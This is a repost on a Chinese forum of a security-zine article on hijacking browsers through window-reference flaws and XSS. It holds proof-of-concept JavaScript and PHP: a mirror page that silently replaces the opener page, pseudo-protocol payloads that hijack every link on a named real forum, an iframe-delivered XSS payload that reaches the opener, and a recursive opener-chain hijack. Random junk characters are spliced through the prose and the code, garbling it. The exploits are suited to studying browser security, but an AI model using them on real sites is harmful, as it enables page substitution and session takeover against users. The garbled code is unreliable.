找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1793|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
4 A: K  h% ~% U1 h
4 H' m, V0 A4 p* c' }% i- t/ m3 T4 X8 w3 O                       Issue 0x03, Phile #0x05 of 0x07- I  U$ P6 N5 l8 f; L

( _0 E* R6 `" F& N/ p) r
# v9 q# `" t2 I& x4 P  P; \, N|=---------------------------------------------------------------------------=|" f( m6 H0 s$ N
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
) G7 E1 {3 u0 g$ P8 x|=---------------------------------------------------------------------------=|0 b* Q8 ?3 L8 ?0 r$ \: ]8 C
|=---------------------------------------------------------------------------=|8 P! \# X7 H8 f. S% P2 ^+ P
|=------------------------=[      By rayh4c     ]=---------------------------=|
9 \# l! F* B: e! d& W0 C|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
% B5 z/ h4 Q# d* I8 h* i! @0 M|=---------------------------------------------------------------------------=|
" u' p; M1 v* K4 r% p
# B' v. i; R) ^; B* c# J- s
9 x7 h% s  s7 q- M+ N[目录]
8 p. i' N' o, S+ h6 L, q+ t" \  f
9 H  Z. |; b" Z  J1 p2 d1. 前言
& d  f3 u3 k0 n! P- Q1 z/ R2. 同源策略简叙
9 x' x3 u/ S  X4 w+ {+ h3. 理解window对象的同源策略
' a- G. ]- N# v3 V7 z0 I4. 窗口引用功能中的同源策略漏洞9 }1 i8 Z) b: @: [+ Z
  4.1 父窗口引用子窗口的同源策略问题- V4 }. X+ S, j
  4.2 子窗口引用父窗口的同源策略问题
0 ]; b* ]& X5 ^8 v& ?5. 利用窗口引用漏洞劫持浏览器0 s3 [, E4 |! N1 j1 c/ {5 _- y
6. 利用XSS漏洞劫持浏览器. Q$ D( j* ]0 u% d" ^
  6.1 正向跨窗口劫持2 y5 |8 J( {6 P# C% D
  6.2 反向跨窗口劫持
8 N, V# m# s. h4 |1 s9 p  6.3 极度危险的跨框架窗口引用劫持
1 N1 l4 V& N" h( }6 C0 \  6.4 极度危险的正反向跨窗口递归劫持
$ B1 t% W, p8 ~2 @  6.5 完全控制浏览器
7 D" D5 ?& l# n8 B* v  e7 i+ D/ w7. 后记; T7 W; _5 O* a# M& W( n
8. 参考
% w3 S2 l; t) o" q8 w
; N8 c2 _% M1 @+ c, K6 m5 W8 I7 N) }8 s
1 o0 Q! l# o! F' \( H1 k一、前言
! e" @  V% z* T2 Y) H6 n
/ E  L7 G+ g$ C, k& R    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋" d1 k3 a7 B( m' ]3 d  h
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session7 o# b( n: i$ ^! V' A/ x% r: R
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被* h2 Y8 Y, s. T2 T* \
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
: r" [' |, r. a0 }( B
! ^5 v% F) z6 x9 n0 L0 `0 E% A/ I$ u4 T" M% ^& ^0 z0 s
二、同源策略简叙
+ j8 a; t/ s: E3 K$ {" n: |% c. e" I+ T
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以$ |; w9 A9 Z9 J, P" e" e4 J; [
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都* C/ J  f2 U3 E& Y
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
$ h8 F) k2 s5 D) s) Z马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个( d6 D3 ~+ m' m, a+ s" G( \
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。& Y  T) j$ i) M& @6 N

( N" S( r' n! h2 |0 m( {$ w; k) G
2 ^. ]. K# x6 ]三、理解window对象的同源策略, a4 C4 w. {0 _" w9 ^+ ~

- ]# I8 w/ Y. n, C    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对5 P/ Y2 ?& h, [
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
/ `0 ]# z: v, }9 p6 N2 Y  m+ P* i+ L7 J% \7 k) f% t
--code-------------------------------------------------------------------------4 J$ t6 [6 L0 g# v7 Q5 h0 W/ Y
<script language="javascript">
, K7 _8 b4 P# e1 yfor(p in window) document.write(p+"<br>");* j, ^8 R" P8 A. A- ?
</script>
) I1 Y3 r( a3 V, ]' J-------------------------------------------------------------------------------
" j$ N8 f& f+ @! z( t
) q4 X1 X% u/ u) t5 p) y    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
7 m& H8 l+ l, J9 }# {法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,0 v8 C& J8 N8 y+ Z6 O
这些属性和方法就必须遵循同源策略。8 a+ H5 f3 y, J3 a& R4 F: F1 u/ w
: ?9 Q' d* l5 T0 z2 x
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
* N1 M$ X! e7 [6 f* r) D) i么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须/ e! i% Q& e5 \. h$ K/ {
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这+ n3 R7 x- n" U8 C. D- P
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
% E4 ?, h6 }  `, R7 t! [- R值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
3 D1 s) q9 b  @, B8 t4 P属性并没有被拒绝访问。2 W' ~7 k* G; Y. c3 n# J+ S; \0 v9 L9 H
$ c- k& D' w' b1 x5 ~* S
--demo.html--------------------------------------------------------------------" I" [7 K( R. `7 N' U: ]6 p- w
<script language="javascript">   2 ]9 c$ J1 l* a5 J, g
function allPrpos(obj) {      
, t( q* ~% c% u4 o4 O' c6 ^+ w      var props = "<table><tr><td>名称</td><td>值</td>";           
6 K7 Y0 E- C- m- B. {9 B! A      for(var p in obj){         
/ ?9 r2 s! D! F- {$ U            if(typeof(obj[p])=="function"){   8 Y  {5 ^) D% t4 J
                   obj[p]();   
3 g: V$ N/ ^( k& F4 F             }else{                      7 _: p  r& e  `( I4 G6 @2 v
                  try   6 A3 |7 m( J% ], i# W
                   {   
  I+ H7 N+ ?4 v. }/ V                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
  m. V0 G8 x; t' m9 {: @3 M: Q7 d                   }   
" _* _' F+ ^, V; Z                  catch (ex)   : W" j0 y& w2 i4 n9 F0 n
                   {   
( H2 R5 @' a& [: U                  
; z9 ~; o. L4 D+ f1 X8 W                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
7 w) A' ~" E( t5 U. N) M6 b6 u                   }   
6 _8 S  v0 B/ s2 l& v7 t  j                       
3 K8 l( f. z4 y$ q             }   7 _+ {' s, Z  _7 I. U
       }   4 z- m) E. k# p' g7 S$ i$ h1 M
   - L" C/ q% S( z" B
       document.write(props+"</table>");   ' s+ m4 r: W" T
}   
' ?* p# \9 F0 k+ q2 {, W4 z   ; [. Q# W7 F, i+ \2 T4 z( g" B; s
function createWin() {, t% D4 J" Y- w8 ~
        newWin = window.open ("http://www.google.com");  / Z' z# w, N4 x7 k# e4 n
        setTimeout(function(){allPrpos(newWin)},2000);
, M) N9 o) D; B} ! Y& i  F6 y, ~# j# l' _
+ l" `; _  y& H
</script>
. c2 m& ]3 N6 F7 L+ [) L  V) H( {- ^# q
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
8 a& I4 ^: A" u' B& X1 [# K6 z-------------------------------------------------------------------------------
' ?, [: T4 {. f8 i$ b3 e* f- G/ c; A- K+ _$ f7 |9 X( N* ^& n) h

" S3 b6 x, @6 a四、窗口引用功能中的同源策略漏洞
* A0 }9 Y; ?' Z( ?# t' ]" N. m) d4 o6 J+ ]
4.1 父窗口引用子窗口的同源策略问题* w& `# _# ~! c% o! A
8 C2 T  t) v$ ^8 l& G5 Z' e, Q. v
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
# y6 X: q; R1 u1 W& m3 W但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道- T  ]* I% T7 q, c6 ?! w
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
2 L* a5 l, @2 ?  V/ y  B行测试,会发现父窗口可以控制非同源子窗口location属性值。" [- G2 {& }* w% I/ Z2 a  d7 G
% T; p. ]: e$ H6 x: p
--vul1.html--------------------------------------------------------------------: E- g. G0 c9 T8 w* H6 Q
<script language="javascript"> ) ]. y& [- v+ o* [
function createWin() {  
7 c$ n0 j6 B/ v2 q7 c( O% K        newWin = window.open ("http://www.google.com");  7 z' i; k( K' i3 f
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
- ~1 u6 _" R/ R}
  a8 V  O: O4 I/ a</script>
9 S/ @! N* k/ q+ A, x8 N
8 j+ S! w5 L, Z: Y% L" g  A<button onclick='createWin()'>创建一个非同源子窗口测试</button>/ D& t, p& t8 g1 _. u; k5 I# `
-------------------------------------------------------------------------------2 b; C2 `6 r. E3 ^

* l0 F0 ~8 N8 o+ K  G1 u
2 S$ `" l1 [7 A9 w. T4 z4.2 子窗口引用父窗口的同源策略问题: j2 t( l4 T/ J: j

( l+ L" D1 X) q) [& N. ]5 ?    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使* ^* U+ H' e' R2 A8 W$ @
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们) u- a& [& G2 F3 A) I7 k9 {9 a. `
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定7 A6 K; P# @. s6 C
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。: O6 k6 M3 p2 e; k* d. c

4 r, C- k8 X! G0 q--code-------------------------------------------------------------------------/ K  O! J3 _5 c  S5 I

/ d( {( ^0 P1 A+ p! e0 ajavascript:window.opener.location = "http://www.80sec.com";void(0);% P: P; b' A/ K! l, R; v
/ L/ Z5 G) f1 r+ n
-------------------------------------------------------------------------------
9 c" t( }# R# e& [9 C9 G) j
1 w( y3 m5 B" m/ i" [
$ k% z2 U: u! ^% E- h3 i6 f* d五、利用窗口引用漏洞劫持浏览器
4 Y' I/ ?( W9 c4 ?9 T; X5 h; T0 o  ?; {& {. T  v9 l4 K% T/ @
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
/ d3 {. r$ ?6 D- o$ e/ O窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那6 \: Y% M, U: X: ]) X4 o  s3 x
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。% S6 R% o2 Q/ y2 N5 a1 l  x

. z6 j5 w) }3 o) x, O1 T$ ?    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
' I! K6 C) h3 g# i& l生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
* I4 t& K7 b9 M% R9 S+ l/ x者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接- U5 T) c# ]# U8 T
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下9 K% Q2 w( C# O3 W2 W! R
会产生什么可怕的后果。8 }9 i& u4 [4 l$ D

* [1 E; j) O5 w6 N9 B" u0 L    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
6 V2 r1 `- V) y+ w们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php6 X- o! p8 A8 ?, }& R
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时$ Y+ b! Z( A% Y! K4 V& b9 ]0 J
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
( A9 J7 Y6 \  q! U% @4 v4 s以做更多的事情,所有的一切仅仅是因为点击了一个链接。
/ j# q$ r' i; S: j$ Q/ H+ Z7 y% g% \2 e$ `
--hjk_ref.php------------------------------------------------------------------
' k" i) T0 c! ~<?php
6 b! V7 Z0 N& kif (array_key_exists("HTTP_REFERER", $_SERVER)) {
4 r9 S& `. u9 V. j$Url_Mirror = $_SERVER["HTTP_REFERER"];6 W+ X/ ~. `& w$ ~
} ) h0 E% L( q# h0 X7 ^
if(isset ($_GET['ref'])) {- C+ `  B. z  B' n; q
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
; {6 J7 x% f3 c( g}  V; ~9 p5 y/ q! U
?>
" P( K) I: ^& s% w/ `0 F! {8 A
<script language="javascript">; G7 h# y: d& @6 c5 U* N. E& k
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
- W% w, N1 w! L% H</script>
; G+ x, c' D: f9 P5 g+ x; B5 U' l-------------------------------------------------------------------------------: y( H& M  W" ]4 S4 y

: ^9 X  F+ ?! X    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。2 ^: _- k* T! m) ?
, N4 x. \, S& q* H
) k: p- Q, b. ^8 C5 T
六、利用XSS漏洞劫持浏览器9 R9 c! E( i+ t! E; C
  H5 L1 p% x0 W
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为1 i' p. L. `$ k) X) {' h( V/ O2 R
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后" h" |" H- a% c4 Y/ b
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
8 v; W- n; P  E! l( T* }讨论跨站师的终极技巧:
, ^! b- s/ f' }& U; w0 P9 u2 o. L

- F8 @, a# _% c  [3 W6.1 正向跨窗口劫持
+ H. [  R6 F5 p2 ^& z3 U5 n5 p; E) |# u0 ^. J  h, E% D6 {
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
* @: S4 |8 g) |! J主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
* Q1 r& h" W/ O# ?# x接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
9 m( j" X' B! i* \框脚本。
; Z+ i8 J$ [& d# |$ c- P5 m, t" k' a9 |9 h4 }/ ^
--hijack_open.js---------------------------------------------------------------
3 ?0 K  T* `. `7 y2 r9 @0 ~
' C; H7 }* E- \" r, sjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
8 Y5 E$ B; H9 S; ?2 l7 s- |8 M% S; ?8 d" H9 E1 ^
-------------------------------------------------------------------------------4 O* E% R( o. H+ ~5 Q. O8 y; L
/ ]6 K- {; H: E; O/ \/ {

7 F0 K9 @# ~; E" F3 Y* p6.2 反向跨窗口劫持- B' e1 h4 e) o1 Q3 |( Y

- L! `* A. O4 J# S# @+ w  h/ A3 s    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
& |* X9 e) s+ N! w# E码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
1 F  _9 E" I& C框脚本。/ z# x/ J* p7 x: G( e& B7 i8 A

: w9 u9 B6 X5 P8 O4 |--hijack_opener.js-------------------------------------------------------------
: i% K+ }9 g$ Y. p! [* m4 o% h9 Q& }0 S+ x' J% x) I
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
* z* {4 a( g. w) s! `( ~$ p$ J  t& `. P* {9 V. V5 t
-------------------------------------------------------------------------------
. o+ V, w1 f8 w! {# c, M2 K0 X1 d) i- ^0 a% k: f( T9 q! C
# `/ x" F5 I+ _8 g8 d4 q4 d
6.3 极度危险的跨框架窗口引用劫持) N3 E7 e# q& N: q7 O, x; W
# y5 F% e8 f  \+ v. Z) F! d
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞2 c* k& W4 n: w- Z7 ?4 G
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
9 F- ?, Y7 l0 N2 K! S$ q适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个& c, S8 o. K( t0 X" h
非持久型的XSS,如下:. k( x/ s1 V7 S
# R  t6 ]7 Z" R7 j( E! I9 p4 t
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>0 h" Y$ T7 r) x! o

) k, g8 L: G' t+ b8 m4 [    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口/ t7 g6 V, |: ]1 {
注入脚本。- s9 E5 y. A3 A0 ?
! D- f* O1 [! r$ S, B. V4 E
--hijack_frame_opener.js-------------------------------------------------------
# a' S, {2 t" V  C' z! ~  F+ G<script>! n! z3 T. J2 d, V
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";4 P1 c. W( }$ b9 P  K
</script>* E  E! E2 W3 P+ g
-------------------------------------------------------------------------------+ }; \" w& H3 [  o0 o7 w: q" @, z! u

; w( I0 v& T7 d$ e5 \0 ?% ?2 i
1 {7 a! E, L( s8 X6 F6.4 极度危险的正反向跨窗口递归劫持6 @: C4 h* E9 {( U) M" A8 o
0 z% P8 M) Q  p6 R
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
  T& {$ @* I) |" f, h. l3 n的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
# h9 P- [( h* c1 i. k* c% ?异常处理规避之间跨域页面的访问异常,代码如下:! N6 d( I3 i. }% d
: i  r4 \8 o! G9 k- B
--code-------------------------------------------------------------------------, {, C4 b+ e0 }" p) f/ S
1 v! |1 H5 e5 v2 M3 \5 U
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);; r: @% [) L) ~( R8 }
2 a1 u/ \, Z* a, d4 h) t3 ]1 q
-------------------------------------------------------------------------------
* {  b2 [& A8 a! T7 G3 F# V, d" }1 |7 H! p  S5 p4 g# _
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
, |' i, A1 K  f! L, C以劫持B域之前的A域页面,从而实现“隔空打击”。
. |6 A/ j6 ~- L
$ J3 z2 e, h8 R    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
% Q4 w$ k  J7 R2 X; `* }: ^2 o& m执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。$ f6 l3 Y; s. [: M7 d7 h: T- Q

  x" g: z+ e, g# {: U    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
  u- m$ J! ]: r- P5 r
! S3 u3 a! ^, k' ~1 x2 T! G2 @6 `! k5 R1 l: D( c' J
6.5 完全控制浏览器4 D; \# G* D$ [1 p1 W- w( @
: u2 Y! I$ t$ F
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则: u2 K2 b# W/ Y8 D
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS+ y5 l3 p3 n% C2 b# Z- G! M
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失. t4 E3 x0 _. l; J: R- ]
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再9 v$ x& G' o- [1 s2 Y$ C
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
8 Z5 w& F  ]9 S/ {- B% D师的终极目标 - 完全控制浏览器。
! |7 ]7 A) j  x7 N) m4 q1 n/ }$ E! }3 P" B( s  r

: e0 M$ h6 e( v7 P* Q* T七、后记
% t4 N( |1 q6 s" H2 q+ j& R* f, k$ d2 u$ ^! q4 z
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全+ n6 d# {$ x/ t1 P1 r- a
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予0 Y5 D1 o8 i# |- }% U
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
. |/ q" b+ W/ R0 {( P, e5 H2 o9 b/ o3 a: O

6 v* a; G6 h9 P6 l5 X7 M$ Z八、参考7 J: l1 r; i/ @- W& @" b

% N, W, T0 a  [/ F& [$ L- f0 T1. http://en.wikipedia.org/wiki/Same_origin_policy
- K+ j4 u) a; v. u% `4 k7 r# Y2. http://code.google.com/p/browser ... licy_for_DOM_access
9 q! E# O; t  I4 v; e6 Q" W' i# u0 G  {3. http://www.w3.org/TR/Window/' h/ [3 D9 v& ^' s1 E8 G* d
4. http://www.80sec.com/release/browser-hijacking.txt
6 j2 m' v: H. z& D5. http://www.80sec.com/all-browser-security-alert.html' O* |2 J0 `' q" b( {
6. http://www.80sec.com/ms08-058-attacks-google.html3 X* ^* C) u. `) j" B. a; p' n
) a7 O/ A" D8 l& d* h8 v+ _
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表